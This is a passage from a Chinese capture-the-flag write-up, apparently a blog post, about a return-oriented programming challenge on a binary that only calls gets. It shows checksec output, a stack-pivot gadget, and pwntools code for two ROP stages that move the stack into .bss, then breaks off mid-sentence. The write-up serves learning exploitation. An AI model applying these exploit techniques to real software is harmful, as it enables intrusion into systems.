这基本是见过最绕的rop了。
整个程序异常简单,只调用了一个gets函数。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
留下没开PIE一条活路。
比赛的时候就有队友提醒说这题是pwnable.tw上面de-aslr一题改编的,当时看一一下别人的wp,发现有个用于stack pivot的关键gadget找不到,赛后仔细阅读pwnable.tw神仙们的wp,发现很多都是用爆破来做的,作为学习并不想简单用爆破完事。于是根据其中一篇的思路完成了这题。
首先找gadget是最关键的一步,之前说找不到stack pivot可用的gadget,后来根据提示在ROPgadget搜索的时候加上了--depth 100参数,成功找到了一个非常理想的gadget
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
有了这个gadget就可以自由地做stack pivot/migrate了。
下面开始构造rop
buf = elf.bss()+0x100
rop1 = ROP(elf)
# stage mov stack to bss
rop1.raw(pop_rdi)
rop1.raw(buf)
rop1.raw(elf.plt['gets'])
rop1.raw(pop_rsp_r13_r14_r15)
rop1.raw(buf)
sl('a'*24 + rop1.chain())
通过以上片段,我们可以把栈搬到bss段,并且在bss上面写入继续执行所需的rop
rop2 = ROP(elf)
rop2.raw(pop_rdi)
rop2.raw(buf-0x38) # to change
rop2.raw(elf.plt['gets'])
sl('A'*24 + rop2.chain())
通过上面的设置在bss上再做一次rop,其中0x3